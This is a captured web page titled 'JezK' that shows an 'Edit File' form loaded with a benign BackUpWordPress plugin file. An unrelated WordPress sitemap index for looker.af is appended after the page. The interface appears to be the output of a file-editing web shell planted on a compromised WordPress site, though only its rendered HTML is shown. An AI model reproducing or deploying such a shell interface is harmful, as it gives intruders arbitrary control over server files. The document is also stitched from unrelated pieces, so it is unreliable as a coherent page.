
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-extensions.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace HM\BackUpWordPress;

/**
 * Class Extensions
 * @package HM\BackUpWordPress
 */
final class Extensions {

	/**
	 * Contains the instantiated Extensions instance.
	 *
	 * @var Extensions $this-&gt;instance
	 */
	private static $instance;

	/**
	 * Holds the root URL of the API.
	 *
	 * @var string
	 */
	protected $root_url = &#039;&#039;;

	/**
	 * Extensions constructor.
	 *
	 */
	private function __construct() {

		$this-&gt;root_url  = &#039;https://bwp.hmn.md/wp-json/wp/v2/&#039;;

	}

	public function __wakeup() { throw new \Exception(&#039;may not be serialized&#039;); }

	public function __clone() { throw new \Exception(&#039;may not be cloned&#039;); }

	/**
	 * Returns the *Singleton* instance of this class.
	 *
	 * @staticvar Extensions $instance The *Singleton* instances of this class.
	 *
	 * @return Extensions The *Singleton* instance.
	 */
	public static function get_instance() {

		if ( ! ( self::$instance instanceof Extensions ) ) {

			self::$instance = new Extensions();

		}

		return self::$instance;

	}

	/**
	 * Parses the body of the API response and returns it.
	 *
	 * @return array|bool|mixed|object
	 */
	public function get_edd_data() {

		$response = $this-&gt;fetch( &#039;edd-downloads&#039; );

		if ( is_wp_error( $response ) || empty( $response[&#039;body&#039;] ) ) {
			return false;
		}

		return json_decode( $response[&#039;body&#039;] );

	}

	/**
	 * Makes a request to the JSON API or retrieves the cached response. Caches the response for one day.
	 *
	 * @param $endpoint
	 * @param int $ttl
	 *
	 * @return array|mixed|\WP_Error
	 */
	protected function fetch( $endpoint, $ttl = DAY_IN_SECONDS ) {

		$request_url = $this-&gt;root_url . $endpoint;

		$cache_key = md5( $request_url );

		$cached = get_transient( &#039;bwp_&#039; . $cache_key );

		if ( $cached ) {
			return $cached;
		}

		$response = wp_remote_get( $request_url );

		if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return new \WP_Error( &#039;hmbkp-error&#039;, &#039;Unable to fetch API response&#039; );
		}

		set_transient( &#039;bwp_&#039; . $cache_key, $response, $ttl );

		return $response;

	}

}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
